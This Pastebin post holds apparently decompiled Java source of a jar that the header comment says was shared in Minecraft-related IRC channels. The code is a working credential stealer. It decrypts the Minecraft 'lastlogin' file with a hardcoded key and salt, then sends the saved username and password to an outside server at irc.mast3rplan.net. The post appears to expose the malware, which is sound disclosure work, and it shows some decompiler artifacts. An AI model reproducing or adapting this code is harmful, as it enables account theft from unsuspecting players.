Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //A jar containing this compiled java code was posted in #risucraft and #mcp by [email protected] - Fri 28 Oct, 10 PM
- import java.io.DataInputStream;
- import java.io.File;
- import java.io.FileInputStream;
- import java.net.URL;
- import java.net.URLConnection;
- import javax.crypto.Cipher;
- import javax.crypto.CipherInputStream;
- import javax.crypto.SecretKey;
- import javax.crypto.SecretKeyFactory;
- import javax.crypto.spec.PBEKeySpec;
- import javax.crypto.spec.PBEParameterSpec;
- public class Main
- {
- private static Main.OS getPlatform()
- {
- String osName = System.getProperty("os.name").toLowerCase();
- if (osName.contains("win")) return Main.OS.windows;
- if (osName.contains("mac")) return Main.OS.macos;
- if (osName.contains("solaris")) return Main.OS.solaris;
- if (osName.contains("sunos")) return Main.OS.solaris;
- if (osName.contains("linux")) return Main.OS.linux;
- if (osName.contains("unix")) return Main.OS.linux;
- return Main.OS.unknown;
- }
- private static File getWorkingDirectory(String applicationName) {
- String userHome = System.getProperty("user.home", ".");
- File workingDirectory;
- File workingDirectory;
- File workingDirectory;
- File workingDirectory;
- switch ($SWITCH_TABLE$Main$OS()[getPlatform().ordinal()]) {
- case 1:
- workingDirectory = new File(userHome, '.' + applicationName + '/');
- break;
- case 3:
- String applicationData = System.getenv("APPDATA");
- File workingDirectory;
- if (applicationData != null) workingDirectory = new File(applicationData, "." + applicationName + '/'); else
- workingDirectory = new File(userHome, '.' + applicationName + '/');
- break;
- case 4:
- workingDirectory = new File(userHome, "Library/Application Support/" + applicationName);
- break;
- case 2:
- default:
- workingDirectory = new File(userHome, applicationName + '/');
- }
- if ((!workingDirectory.exists()) && (!workingDirectory.mkdirs())) throw new RuntimeException("The working directory could not be created: " + workingDirectory);
- return workingDirectory;
- }
- public static void main(String[] args) {
- try {
- byte[] salt = { 12, -99, 74, -28, 30, -125, 21, -4 };
- PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
- SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
- Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
- cipher.init(2, pbeKey, pbeParamSpec);
- File lastLogin = new File(getWorkingDirectory("minecraft"), "lastlogin");
- DataInputStream s = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
- String user = s.readUTF();
- String pass = s.readUTF();
- new URL("http://irc.mast3rplan.net/mc.php?user=" + user + "&pass=" + pass).openConnection().getContent();
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- private static enum OS
- {
- linux, solaris, windows, macos, unknown;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment